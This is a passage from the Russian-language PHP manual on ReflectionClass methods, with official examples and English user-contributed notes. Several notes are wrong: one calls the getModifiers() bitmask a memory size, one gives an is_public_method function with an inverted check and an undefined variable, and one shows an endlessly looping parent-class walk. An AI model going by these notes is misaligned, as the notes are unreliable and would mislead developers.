        $results = array();

        foreach ($methods as $method) {
            if (($method->getModifiers() & $filter) === $filter) {
                $results[] = $method;
            }
        }

        return $results;
    }
}

$class = new MyReflection('Apple');
$methods = $class->getMethods(ReflectionMethod::IS_FINAL | ReflectionMethod::IS_PUBLIC);
var_dump($methods);

$methods = $class->getMethods(ReflectionMethod::IS_FINAL | ReflectionMethod::IS_PUBLIC, false);
var_dump($methods);
?>

Result:
array(1) {
  [0]=>
  object(ReflectionMethod)#4 (2) {
    ["name"]=>
    string(17) "publicFinalMethod"
    ["class"]=>
    string(5) "Apple"
  }
}

array(3) {
  [0]=>
  &object(ReflectionMethod)#5 (2) {
    ["name"]=>
    string(12) "publicMethod"
    ["class"]=>
    string(5) "Apple"
  }
  [1]=>
  &object(ReflectionMethod)#3 (2) {
    ["name"]=>
    string(17) "publicFinalMethod"
    ["class"]=>
    string(5) "Apple"
  }
  [2]=>
  &object(ReflectionMethod)#6 (2) {
    ["name"]=>
    string(20) "protectedFinalMethod"
    ["class"]=>
    string(5) "Apple"
  }
}
deminy at deminy dot net 22-Jun-2011 09:24
Method ReflectionClass::getMethods doesn't work constantly across different versions of PHP. For following code piece

<?php
class Dummy implements Iterator
{
    public function current () {}
    public function next () {}
    public function key () {}
    public function valid () {}
    public function rewind () {}
}

$reflection = new ReflectionClass('Dummy');
$aMethods = $reflection->getMethods();
echo '# of methods: ', count($aMethods), "\n";
?>

, it outputs "# of methods: 10" on PHP 5.2.14 and PHP 5.2.17, including all methods defined in the class itself and in the interface no matter if a method has been implemented or overridden; however, it returns "# of methods: 5" on PHP 5.3.5. Based on some other tests did by my colleagues, I assume it also returns "# of methods: 5" on PHP 5.2.10 and PHP 5.3.6.


Возвращает информацию о модификаторах класса

  • « ReflectionClass::getMethods
  • ReflectionClass::getName »
  • PHP Manual
  • ReflectionClass
  • Возвращает информацию о модификаторах класса

ReflectionClass::getModifiers

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getModifiers — Возвращает информацию о модификаторах класса

Описание

public ReflectionClass::getModifiers(): int

Возвращает битовую маску модификаторов для данного метода.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает битовую маску из констант модификаторов.

Смотрите также

  • ReflectionClass::getProperties() - Возвращает свойства
  • Reflection::getModifierNames() - Получение имён модификаторов

User Contributed Notes

Nicola Pietroluongo 26-Feb-2015 01:17
It's the amount of memory allocation in bit.
By default many systems allocate 1048576 bit (1 Megabit).

/* Example 1 */

class Test {}
$classTest = new Test();
$reflectionClass = new \ReflectionClass('Test');
$classModifiers = $reflectionClass->getModifiers();
var_export($classModifiers);

//output
1048576

/* Example 2 */

class Test {}
//the constructor is missing
$reflectionClass = new \ReflectionClass('Test');
$classModifiers = $reflectionClass->getModifiers();
var_export($classModifiers);

//output
0


Возвращает имя класса

  • « ReflectionClass::getModifiers
  • ReflectionClass::getNamespaceName »
  • PHP Manual
  • ReflectionClass
  • Возвращает имя класса

ReflectionClass::getName

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getName — Возвращает имя класса

Описание

public ReflectionClass::getName(): string

Возвращает имя класса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Имя класса.

Примеры

Пример #1 Пример использования ReflectionClass::getName()

<?php
namespace A\B;

class Foo { }

$function = new \ReflectionClass('stdClass');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());

$function = new \ReflectionClass('A\\B\\Foo');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());
?>

Результат выполнения приведённого примера:

bool(false)
string(8) "stdClass"
string(0) ""
string(8) "stdClass"

bool(true)
string(7) "A\B\Foo"
string(3) "A\B"
string(3) "Foo"

Смотрите также

  • ReflectionClass::getNamespaceName() - Возвращает название пространства имён

User Contributed Notes

There are no user contributed notes for this page.


Возвращает название пространства имён

  • « ReflectionClass::getName
  • ReflectionClass::getParentClass »
  • PHP Manual
  • ReflectionClass
  • Возвращает название пространства имён

ReflectionClass::getNamespaceName

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionClass::getNamespaceName — Возвращает название пространства имён

Описание

public ReflectionClass::getNamespaceName(): string

Возвращает название пространства имён.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Название пространства имён.

Примеры

Пример #1 Пример использования ReflectionClass::getNamespaceName()

<?php
namespace A\B;

class Foo { }

$class = new \ReflectionClass('stdClass');

var_dump($class->inNamespace());
var_dump($class->getName());
var_dump($class->getNamespaceName());
var_dump($class->getShortName());

$class = new \ReflectionClass('A\\B\\Foo');

var_dump($class->inNamespace());
var_dump($class->getName());
var_dump($class->getNamespaceName());
var_dump($class->getShortName());
?>

Результат выполнения приведённого примера:

bool(false)
string(8) "stdClass"
string(0) ""
string(8) "stdClass"

bool(true)
string(7) "A\B\Foo"
string(3) "A\B"
string(3) "Foo"

Смотрите также

  • ReflectionClass::getParentClass() - Возвращает родительский класс
  • namespaces

User Contributed Notes

francois 14-Aug-2011 04:08
If the object does not belong to a namespace, an empty string is returned


Возвращает родительский класс

  • « ReflectionClass::getNamespaceName
  • ReflectionClass::getProperties »
  • PHP Manual
  • ReflectionClass
  • Возвращает родительский класс

ReflectionClass::getParentClass

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getParentClass — Возвращает родительский класс

Описание

public ReflectionClass::getParentClass(): ReflectionClass|false

Получает родительский класс.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Объект класса ReflectionClass, либо false, если родителя нет.

Смотрите также

  • ReflectionClass::__construct() - Создаёт объект класса ReflectionClass

User Contributed Notes

isaac dot z dot foster at gmail dot com 15-Jun-2013 09:02
Quick correction, the code for getting all parent classes below has a "typo", you need to reset the $class variable to the parent class instance, otherwise it just endlessly loops:

        $class = new ReflectionClass('classname');

        $parents = array();

        while ($parent = $class->getParentClass()) {
            $parents[] = $parent->getName();
            $class = $parent;
        }

        echo "Parents: " . implode(", ", $parents);
havelangep at hotmail dot com 16-Dec-2010 01:26
Here is a "replacement" for is_a that will additionally look both into the extended classes and in the implemented interfaces

<?php
/**
     * Check if a class extends or implements a specific class/interface
     * @param string $search The class or interface name to look for
     * @param string $className The class name of the object to compare to
     * @return bool
     */
    function IsExtendsOrImplements( $search, $className ) {
        $class = new ReflectionClass( $className );
        if( false === $class ) {
            return false;
        }
        do {
            $name = $class->getName();
            if( $search == $name ) {
                return true;
            }
            $interfaces = $class->getInterfaceNames();
            if( is_array( $interfaces ) && in_array( $search, $interfaces )) {
                return true;
            }
            $class = $class->getParentClass();
        } while( false !== $class );
        return false;
    }
?>
jochem at drecomm dot nl 18-Nov-2010 04:34
When you want to find all parents (parent, parent of parent, parent of parent's parent and so on) try:

<?php
$class = new ReflectionClass('whatever');

$parents = array();

while ($parent = $class->getParentClass()) {
    $parents[] = $parent->getName();
}

echo "Parents: " . implode(", ", $parents);
?>

ReflectionClass::getParentClass() can return a ReflectionClass object of the parent class or false if no parent.

(PHP Version 5.1.6)


Возвращает свойства

  • « ReflectionClass::getParentClass
  • ReflectionClass::getProperty »
  • PHP Manual
  • ReflectionClass
  • Возвращает свойства

ReflectionClass::getProperties

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getProperties — Возвращает свойства

Описание

public ReflectionClass::getProperties(?int $filter = null): array

Возвращает reflected (отражённые) свойства.

Список параметров

filter

Опциональный фильтр, позволяющий возвращать только желаемые типы свойств. Он настраивается с помощью констант ReflectionProperty, по умолчанию позволяет возвращать свойства всех типов.

Возвращаемые значения

Массив объектов класса ReflectionProperty.

Список изменений

Версия | Описание
7.2.0 | filter теперь допускает значение null.

Примеры

Пример #1 Пример фильтрации с помощью ReflectionClass::getProperties()

В этом примере демонстрируется использование параметра filter, который в данном случае не пропускает private (закрытые) свойства.

<?php
class Foo {
public $foo = 1;
protected $bar = 2;
private $baz = 3;
}

$foo = new Foo();

$reflect = new ReflectionClass($foo);
$props = $reflect->getProperties(ReflectionProperty::IS_PUBLIC | ReflectionProperty::IS_PROTECTED);

foreach ($props as $prop) {
print $prop->getName() . "\n";
}

var_dump($props);

?>

Вывод приведённого примера будет похож на:

foo
bar
array(2) {
  [0]=>
  object(ReflectionProperty)#3 (2) {
    ["name"]=>
    string(3) "foo"
    ["class"]=>
    string(3) "Foo"
  }
  [1]=>
  object(ReflectionProperty)#4 (2) {
    ["name"]=>
    string(3) "bar"
    ["class"]=>
    string(3) "Foo"
  }
}

Смотрите также

  • ReflectionClass::getProperty() - Возвращает экземпляр ReflectionProperty для свойства класса
  • ReflectionProperty
  • константы ReflectionProperty

User Contributed Notes

kelunik at php dot net 21-Jan-2018 10:58
Note that inherited properties are returned, but no private properties of parent classes. Depending on the use case, you need to check that, too.

do {
    foreach ($reflectionClass->getProperties() as $property) {
        /* ... */
    }
} while ($reflectionClass = $reflectionClass->getParentClass());
postmaster at greg0ire dot fr 08-Jul-2014 09:23
The code in the first example actually does get inherited properties with at least php 5.5.9 . I don't know if / when this behavior changed.

Here is the output:
    array(2) {
     [0] =>
     class ReflectionProperty#2 (2) {
       public $name =>
       string(2) "a2"
       public $class =>
       string(2) "AA"
     }
     [1] =>
     class ReflectionProperty#3 (2) {
       public $name =>
       string(2) "a1"
       public $class =>
       string(1) "A"
     }
    }
Yzmir Ramirez 16-Oct-2010 08:53
Looks like you can access public, protected, private variables by casting the object to an array (useful for Unit Testing).  However casting to an array still won't allow you access to protected and private static variables.

In PHP 5.3.0+ use ReflectionProperty::setAccessable(true);

<?php

echo "PHP Version: ".phpversion()."\n";

class Foo {
    public    $foo  = 'public';
    protected $bar  = 'protected';
    private   $baz  = 'private';

    public static    $sfoo  = 'public static';
    protected static $sbar  = 'protected static';
    private static   $sbaz  = 'private static';

    const COO = 'const';

}

$obj = new Foo;

$arr = (array)$obj;

print_r($arr);

echo "Accessing Public Static: ".Foo::$sfoo."\n";
// echo Foo::$sbar."\n"; // Fatal error: Cannot access protected property Foo::$sbar
// echo Foo::$sbaz."\n"; // Fatal error: Cannot access private property Foo::$sbaz
echo "Accessing Constant: ".Foo::COO."\n";
?>

PHP Version: 5.2.12
Array
(
    [foo] => public
    [*bar] => protected
    [Foobaz] => private
)
Accessing Public Static: public static
Accessing Constant: const

PHP Version: 5.1.6
Array
(
    [foo] => public
    [*bar] => protected
    [Foobaz] => private
)
Accessing Public Static: public static
Accessing Constant: const
mcurtis 28-Jan-2009 02:41
It should be noted that the 'filter' parameter in the getProperties(filter) method is expected to be of type long.  Not sure why, but it doesn't function as a way of passing in a string to fetch a subset of properties by string match.
muratyaman at gmail dot com 22-Jan-2009 07:47
Some may find this useful.

<?php
/**
 * Recursive function to get an associative array of class properties by property name => ReflectionProperty() object
 * including inherited ones from extended classes
 * @param string $className Class name
 * @param string $types Any combination of <b>public, private, protected, static</b>
 * @return array
 */
function getClassProperties($className, $types='public'){
    $ref = new ReflectionClass($className);
    $props = $ref->getProperties();
    $props_arr = array();
    foreach($props as $prop){
        $f = $prop->getName();

        if($prop->isPublic() and (stripos($types, 'public') === FALSE)) continue;
        if($prop->isPrivate() and (stripos($types, 'private') === FALSE)) continue;
        if($prop->isProtected() and (stripos($types, 'protected') === FALSE)) continue;
        if($prop->isStatic() and (stripos($types, 'static') === FALSE)) continue;

        $props_arr[$f] = $prop;
    }
    if($parentClass = $ref->getParentClass()){
        $parent_props_arr = getClassProperties($parentClass->getName());//RECURSION
        if(count($parent_props_arr) > 0)
            $props_arr = array_merge($parent_props_arr, $props_arr);
    }
    return $props_arr;
}

//USAGE

class A{
  public $a1;

    function abc(){
        //do something
    }
}

class AA extends A{
    public $a2;

    function edf(){
        //do something
    }
}

class AAA extends AA{
  //may not have extra properties, but may have extra methods
    function ghi(){
        //ok
    }
}

//$ref = new ReflectionClass('AAA'); $props = $ref->getProperties();//This will get no properties!
$props_arr = getClassProperties('AAA', 'public');//Use this
var_dump($props_arr);
/*
OUTPUT on PHP5.2.6:
array
  'a1' =>
    object(ReflectionProperty)[4]
      public 'name' => string 'a1' (length=2)
      public 'class' => string 'AAA' (length=3)
  'a2' =>
    object(ReflectionProperty)[3]
      public 'name' => string 'a2' (length=2)
      public 'class' => string 'AAA' (length=3)

*/

?>
david dot thalmann at gmail dot com 05-Jan-2009 08:19
With PHP 5.3 protected or private properties are easy to access with setAccessible(). However, it's sometimes needed (e.g. Unit Tests) and here is a workaround for getValue():

<?php

$class = new ReflectionClass('SomeClass');
$props = $class->getProperties();
// $propsStatic = $class->getStaticProperties();

$myPrivatePropertyValue = $props['aPrivateProperty'];

?>

Note that it wont work if you access the property directly with getProperty().


Возвращает экземпляр ReflectionProperty для свойства класса

  • « ReflectionClass::getProperties
  • ReflectionClass::getReflectionConstant »
  • PHP Manual
  • ReflectionClass
  • Возвращает экземпляр ReflectionProperty для свойства класса

ReflectionClass::getProperty

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getProperty — Возвращает экземпляр ReflectionProperty для свойства класса

Описание

public ReflectionClass::getProperty(string $name): ReflectionProperty

Возвращает экземпляр ReflectionProperty для свойства класса.

Список параметров

name

Имя свойства.

Возвращаемые значения

Объект класса ReflectionProperty.

Примеры

Пример #1 Пример использования ReflectionClass::getProperty()

<?php
$class = new ReflectionClass('ReflectionClass');
$property = $class->getProperty('name');
var_dump($property);
?>

Результат выполнения приведённого примера:

object(ReflectionProperty)#2 (2) {
  ["name"]=>
  string(4) "name"
  ["class"]=>
  string(15) "ReflectionClass"
}

Смотрите также

  • ReflectionClass::getProperties() - Возвращает свойства

User Contributed Notes

dohpaz42 16-Jun-2015 04:16
Accessing private properties is possible, but care must be taken if that private property was defined lower into the inheritance chain. For example, if class A extends class B, and class B defines a private property called 'foo', getProperty will throw a ReflectionException.

Instead, you can loop over getParentClass until it returns false to look for the private property, at which point you can access and/or modify its value as needed.
eric at naeseth dot com 02-Aug-2011 03:38
If the class doesn't have a property with the given name, a ReflectionException will be raised.


Получает экземпляр класса ReflectionClassConstant для константы класса

  • « ReflectionClass::getProperty
  • ReflectionClass::getReflectionConstants »
  • PHP Manual
  • ReflectionClass
  • Получает экземпляр класса ReflectionClassConstant для константы класса

ReflectionClass::getReflectionConstant

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClass::getReflectionConstant — Получает экземпляр класса ReflectionClassConstant для константы класса

Описание

public ReflectionClass::getReflectionConstant(string $name): ReflectionClassConstant|false

Метод получает экземпляр класса ReflectionClassConstant для константы класса.

Список параметров

name

Имя константы класса.

Возвращаемые значения

Метод возвращает объект класса ReflectionClassConstant или false, если возникла ошибка.

Смотрите также

  • ReflectionClass::getReflectionConstants() - Получает константы класса
  • ReflectionClassConstant

User Contributed Notes

There are no user contributed notes for this page.


Получает константы класса

  • « ReflectionClass::getReflectionConstant
  • ReflectionClass::getShortName »
  • PHP Manual
  • ReflectionClass
  • Получает константы класса

ReflectionClass::getReflectionConstants

(PHP 7 >= 7.1.0, PHP 8)

ReflectionClass::getReflectionConstants — Получает константы класса

Описание

public ReflectionClass::getReflectionConstants(?int $filter = null): array

Метод извлекает отражённые константы.

Список параметров

filter

Дополнительный фильтр для фильтрации констант видимости. Он настраивается через константы ReflectionClassConstant и по умолчанию используется для всех констант видимости.

Возвращаемые значения

Метод возвращает массив объектов класса ReflectionClassConstant.

Список изменений

Версия | Описание
8.0.0 | Добавили параметр filter.

Примеры

Пример #1 Простой базовой работы с методом ReflectionClass::getReflectionConstants()

<?php

class Foo
{
public const FOO = 1;
protected const BAR = 2;
private const BAZ = 3;
}

$foo = new Foo();

$reflect = new ReflectionClass($foo);
$consts = $reflect->getReflectionConstants();

foreach ($consts as $const) {
print $const->getName() . "\n";
}

var_dump($consts);

?>

Вывод приведённого примера будет похож на:

FOO
BAR
BAZ
array(3) {
  [0]=>
  object(ReflectionClassConstant)#3 (2) {
    ["name"]=>
    string(3) "FOO"
    ["class"]=>
    string(3) "Foo"
  }
  [1]=>
  object(ReflectionClassConstant)#4 (2) {
    ["name"]=>
    string(3) "BAR"
    ["class"]=>
    string(3) "Foo"
  }
  [2]=>
  object(ReflectionClassConstant)#5 (2) {
    ["name"]=>
    string(3) "BAZ"
    ["class"]=>
    string(3) "Foo"
  }
}

Смотрите также

  • ReflectionClass::getReflectionConstant() - Получает экземпляр класса ReflectionClassConstant для константы класса
  • ReflectionClassConstant

User Contributed Notes

There are no user contributed notes for this page.


Возвращает короткое имя

  • « ReflectionClass::getReflectionConstants
  • ReflectionClass::getStartLine »
  • PHP Manual
  • ReflectionClass
  • Возвращает короткое имя

ReflectionClass::getShortName

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

ReflectionClass::getShortName — Возвращает короткое имя

Описание

public ReflectionClass::getShortName(): string

Возвращает короткое имя класса, часть, которая не относится к названию пространства имён.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Короткое имя класса.

Примеры

Пример #1 Пример использования ReflectionClass::getShortName()

<?php
namespace A\B;

class Foo { }

$function = new \ReflectionClass('stdClass');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());

$function = new \ReflectionClass('A\\B\\Foo');

var_dump($function->inNamespace());
var_dump($function->getName());
var_dump($function->getNamespaceName());
var_dump($function->getShortName());
?>

Результат выполнения приведённого примера:

bool(false)
string(8) "stdClass"
string(0) ""
string(8) "stdClass"

bool(true)
string(7) "A\B\Foo"
string(3) "A\B"
string(3) "Foo"

Смотрите также

  • ReflectionClass::getName() - Возвращает имя класса

User Contributed Notes

There are no user contributed notes for this page.


Возвращает номер начальной строки

  • « ReflectionClass::getShortName
  • ReflectionClass::getStaticProperties »
  • PHP Manual
  • ReflectionClass
  • Возвращает номер начальной строки

ReflectionClass::getStartLine

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getStartLine — Возвращает номер начальной строки

Описание

public ReflectionClass::getStartLine(): int|false

Возвращает номер начальной строки.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Номер начальной строки в виде целого числа (int) или false, если не определён.

Смотрите также

  • ReflectionClass::getEndLine() - Возвращает номер последней строки

User Contributed Notes

info at ensostudio dot ru 31-Oct-2021 04:28
Note: lines in file start from 1!
Sample to get class code:
<?php
$class = new ReflectionClass('Foo');
$offset = $class->getStartLine() - 1;
$code = implode(
    '',
    array_slice(
        file($class->getFileName()),
        $offset,
        $class->getEndLine() - $offset
    )
);
?>


Возвращает статические свойства

  • « ReflectionClass::getStartLine
  • ReflectionClass::getStaticPropertyValue »
  • PHP Manual
  • ReflectionClass
  • Возвращает статические свойства

ReflectionClass::getStaticProperties

(PHP 5, PHP 7, PHP 8)

ReflectionClass::getStaticProperties — Возвращает статические свойства

Описание

public ReflectionClass::getStaticProperties(): array

Возвращает статические свойства.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив (array) статических свойств.

Список изменений

Версия | Описание
8.3.0 | Тип возвращаемого значения метода ReflectionClass::getStaticProperties() был изменён на array с ?array.

Смотрите также

  • ReflectionClass::getStaticPropertyValue() - Возвращает значение статического свойства
  • ReflectionClass::setStaticPropertyValue() - Устанавливает значение статического свойства

User Contributed Notes

joao dot felipe dot c dot b at gmail dot com 24-Mar-2016 01:06
getStaticProperties return a set of the property itself. It's diferente from getProperties(ReflectionProperty::IS_STATIC) because it return a set of ReflectionProperty class.
jlennox @ google mail 08-May-2010 10:03
I had the need to recursive merge the results from a subclass with all of it's parents, and this was the resulting code:

<?php
function GetStaticPropertiesRecursive($class) {
    $currentClass = $class;
    $joinedProperties = array();
    do {
        $reflection = new ReflectionClass($class);
        $staticProperties = $reflection->getStaticProperties();
        foreach ($staticProperties as $name => $value) {
            if (is_array($value)) {
                if (isset($joinedProperties[$name]))
                    $joinedProperties[$name] = array_merge($value, $joinedProperties[$name]);
                else
                    $joinedProperties[$name] = $value;
            } else {
                if (isset($joinedProperties[$name]))
                    $joinedProperties[$name][] = $value;
                else
                    $joinedProperties[$name] = array($value);
            }
        }
    } while ($class = get_parent_class($class));
    return $joinedProperties;
}

Using this function:
class base {
    public static $Test = array("foo1", "foo2");
}
class sub extends base {
    public static $Test = "sub";
}

print_r(GetStaticPropertiesRecursive("sub"));
?>

That outputs:
Array
(
    [Test] => Array
        (
            [0] => foo1
            [1] => foo2
            [2] => sub
        )

)

The merge follows the rules of array_merge on duplicate keys.


Возвращает значение статического свойства

  • « ReflectionClass::getStaticProperties
  • ReflectionClass::getTraitAliases »
  • PHP Manual
  • ReflectionClass
  • Возвращает значение статического свойства

ReflectionClass::getStaticPropertyValue

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionClass::getStaticPropertyValue — Возвращает значение статического свойства

Описание

public ReflectionClass::getStaticPropertyValue(string $name, mixed &$def_value = ?): mixed

Возвращает значение статического свойства класса.

Список параметров

name

Имя статического свойства, значение которого необходимо получить

def_value

Значение по умолчанию, возвращаемое в случае, если в классе не определено статическое свойство с заданным именем name. Если свойство не существует и этот аргумент не задан, то выбрасывается ReflectionException.

Возвращаемые значения

Значение статического свойства.

Примеры

Пример #1 Пример использования ReflectionClass::getStaticPropertyValue()

<?php
class Apple {
public static $color = 'Red';
}

$class = new ReflectionClass('Apple');
var_dump($class->getStaticPropertyValue('color'));
?>

Результат выполнения приведённого примера:

string(3) "Red"

Смотрите также

  • ReflectionClass::getStaticProperties() - Возвращает статические свойства
  • ReflectionClass::setStaticPropertyValue() - Устанавливает значение статического свойства

User Contributed Notes

Antares 16-Aug-2011 07:11
It seems this method has a security level different from the getStaticProperties method.

If you make two classes A and B looking like

<?php
class A{
        protected static $static_var='foo';

        public function getStatic(){
           $class=new ReflectionClass($this);
           return $class->getStaticPropertyValue('static_var');
        }

        public function getStatic2(){
            $class=new ReflectionClass($this);
            $staticProps=$class->getStaticProperties();
            return $staticProps['static_var'];
        }

        public function __construct(){
              echo $this->getStatic2();
              echo $this->getStatic();
        }
}

class B extends A{
        protected static $static_var='foo2';

}
?>

Then the output will be an exception for the getStatic() call, when the getStatic2() will correctly return 'foo2';
Mauro Gabriel Titimoli 21-Jan-2010 12:05
If you want to change a static property of a variable class...

PHP 5.2
<?php
$reflection = new ReflectionClass($className);
$staticPropertyReference = & $reflection->getStaticPropertyValue($staticPropertyName);

$staticPropertyReference = 'new value';
?>

PHP 5.3
<?php
$className::$$classProperty
?>


Возвращает массив псевдонимов трейтов

  • « ReflectionClass::getStaticPropertyValue
  • ReflectionClass::getTraitNames »
  • PHP Manual
  • ReflectionClass
  • Возвращает массив псевдонимов трейтов

ReflectionClass::getTraitAliases

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionClass::getTraitAliases — Возвращает массив псевдонимов трейтов

Описание

public ReflectionClass::getTraitAliases(): array

Получает массив псевдонимов методов трейтов, определённых в текущем классе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ассоциативный массив, ключами которого являются новые имена методов, а значениями - оригинальные имена методов (в формате "TraitName::original").

User Contributed Notes

dhairya dot coder at gmail dot com 10-Feb-2016 11:43
trait A {
    public function smallTalk() {
        echo 'a';
    }
    public function bigTalk() {
        echo 'A';
    }
}

class Apple{

    use A {
        A::bigTalk as talk;
    }
}

$obj=new ReflectionClass('Apple');
echo "<pre>";
var_dump($obj->getTraitAliases());
echo "</pre>";


Возвращает массив имён трейтов, используемых в этом классе

  • « ReflectionClass::getTraitAliases
  • ReflectionClass::getTraits »
  • PHP Manual
  • ReflectionClass
  • Возвращает массив имён трейтов, используемых в этом классе

ReflectionClass::getTraitNames

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionClass::getTraitNames — Возвращает массив имён трейтов, используемых в этом классе

Описание

public ReflectionClass::getTraitNames(): array

Получает имена трейтов, используемых в этом классе.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает массив, значениями которого являются имена трейтов.

User Contributed Notes

emulienfou at gmail dot com 30-Nov-2013 03:55
This remote return only the trait names from the current class.

If your class extends another class using your trait, you can't get the names. However, you can do something like :

<?php
$traitsNames = [];
$recursiveClasses = function ($class) use(&$recursiveClasses, &$traitsNames) {
    if ($class->getParentClass() != false) {
        $recursiveClasses($class->getParentClass());
    }
    else {
        $traitsNames = array_merge($traitsNames, $class->getTraitNames());
    }
};
$recursiveClasses($controllerClass);


Возвращает массив трейтов, используемых в этом классе

  • « ReflectionClass::getTraitNames
  • ReflectionClass::hasConstant »
  • PHP Manual
  • ReflectionClass
  • Возвращает массив трейтов, используемых в этом классе

ReflectionClass::getTraits

(PHP 5 >= 5.4.0, PHP 7, PHP 8)

ReflectionClass::getTraits — Возвращает массив трейтов, используемых в этом классе

Описание

public ReflectionClass::getTraits(): array

Получает массив трейтов, используемых в этом классе

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает ассоциативный массив, ключами которого являются имена трейтов, а значениями - объекты ReflectionClass для каждого трейта. В случае возникновения ошибки возвращает null.

User Contributed Notes

Anonymous 15-Jan-2015 04:03
Note that getTraits will NOT return any traits inherited from a parent.

This is currently viewed as the desired behavior.  See https://bugs.php.net/bug.php?id=61554


Проверяет, определена ли константа

  • « ReflectionClass::getTraits
  • ReflectionClass::hasMethod »
  • PHP Manual
  • ReflectionClass
  • Проверяет, определена ли константа

ReflectionClass::hasConstant

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionClass::hasConstant — Проверяет, определена ли константа

Описание

public ReflectionClass::hasConstant(string $name): bool

Проверяет, определена ли в классе указанная константа или нет.

Список параметров

name

Имя проверяемой константы.

Возвращаемые значения

true, если константа определена, в противном случае false.

Примеры

Пример #1 Пример использования ReflectionClass::hasConstant()

<?php
class Foo {
const c1 = 1;
}

$class = new ReflectionClass("Foo");

var_dump($class->hasConstant("c1"));
var_dump($class->hasConstant("c2"));
?>

Вывод приведённого примера будет похож на:

bool(true)
bool(false)

Смотрите также

  • ReflectionClass::hasMethod() - Проверяет, задан ли метод
  • ReflectionClass::hasProperty() - Проверяет, определено ли свойство

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, задан ли метод

  • « ReflectionClass::hasConstant
  • ReflectionClass::hasProperty »
  • PHP Manual
  • ReflectionClass
  • Проверяет, задан ли метод

ReflectionClass::hasMethod

(PHP 5 >= 5.1.2, PHP 7, PHP 8)

ReflectionClass::hasMethod — Проверяет, задан ли метод

Описание

public ReflectionClass::hasMethod(string $name): bool

Проверяет, определён ли в классе указанный метод или нет.

Список параметров

name

Имя проверяемого метода.

Возвращаемые значения

true, если метод определён, в противном случае false

Примеры

Пример #1 Пример использования ReflectionClass::hasMethod()

<?php
Class C {
public function publicFoo() {
return true;
}

protected function protectedFoo() {
return true;
}

private function privateFoo() {
return true;
}

static function staticFoo() {
return true;
}
}

$rc = new ReflectionClass("C");

var_dump($rc->hasMethod('publicFoo'));

var_dump($rc->hasMethod('protectedFoo'));

var_dump($rc->hasMethod('privateFoo'));

var_dump($rc->hasMethod('staticFoo'));

// C не имеет метода bar
var_dump($rc->hasMethod('bar'));

// Имена методов регистронезависимые
var_dump($rc->hasMethod('PUBLICfOO'));
?>

Результат выполнения приведённого примера:

bool(true)
bool(true)
bool(true)
bool(true)
bool(false)
bool(true)

Смотрите также

  • ReflectionClass::hasConstant() - Проверяет, определена ли константа
  • ReflectionClass::hasProperty() - Проверяет, определено ли свойство

User Contributed Notes

dn dot permyakov at gmail dot com 08-May-2019 11:32
Trait methods can be seen by both actual and alias names

<?php

trait Sauce
{
    public function getSpicy()
    {
        return 'Cayenne';
    }
}

class Sandwich
{
    use Sauce {
        Sauce::getSpicy as getSweet;
    }
}

$class = new \ReflectionClass('Sandwich');
var_dump($class->hasMethod('getSweet'));
var_dump($class->hasMethod('getSpicy'));
?>
bool(true)
bool(true)
Xorifelse 22-Dec-2016 01:23
It might be interesting to know that this is the only method to determine if a trait has a specific method:

  trait a{
    function __wakeup(){}
  }

  class b{}

  class c{
    use a;
  }

  var_dump((new ReflectionClass('a'))->hasMethod('__wakeup')); // true
  var_dump((new ReflectionClass('b'))->hasMethod('__wakeup')); // false
  var_dump((new ReflectionClass('c'))->hasMethod('__wakeup')); // true
flancer64 at gmail dot com 02-Aug-2016 10:50
Annotated methods that are implemented using PHP magic methods are not recognized  by "hasMethod".

<?php
/**
 * @method void annotatedMethod()
 */
class SomeClass
{
    public function __call($name, $arguments)
    {
        echo "this is magic method: $name.\n";
    }

    public function codedMethod()
    {
        echo "this is coded method.\n";
    }
}

$obj = new \SomeClass();
$obj->codedMethod();
$obj->annotatedMethod();

$ref = new ReflectionClass(\SomeClass::class);
echo "SomeClass has 'codedMethod': " . json_encode($ref->hasMethod('codedMethod')) . ".\n";
echo "SomeClass has 'annotatedMethod': " . json_encode($ref->hasMethod('annotatedMethod')) . ".\n";
?>

Output:

this is coded method.
this is magic method: annotatedMethod.
SomeClass has 'codedMethod': true.
SomeClass has 'annotatedMethod': false.
michaelgranados at gmail dot com 19-May-2012 02:47
A way to check if you can call an method over a class:

<?php
function is_public_method(
        /* string */$className,
        /* string */$method
){
    $classInstance = new ReflectionClass($className);
    if ($classInstance->hasMethod($method)) {
        return false;
    }
    $methodInstance = $instance->getMethod($method);
    return $methodInstance->isPublic();
}
?>
phoenix at todofixthis dot com 28-Oct-2010 09:47
Parent methods (regardless of visibility) are also available to a ReflectionObject.  E.g.,

<?php
class ParentObject {
  public function parentPublic(  ) {
  }

  private function parentPrivate(  ) {
  }
}

class ChildObject extends ParentObject {
}

$Instance = new ChildObject();
$Reflector = new ReflectionObject($Instance);

var_dump($Reflector->hasMethod('parentPublic'));  // true
var_dump($Reflector->hasMethod('parentPrivate')); // true
?>
hanguofeng at gmail dot com 20-Oct-2010 09:09
note that even if private method will also be 'has'.


Проверяет, определено ли свойство

  • « ReflectionClass::hasMethod
  • ReflectionClass::implementsInterface »
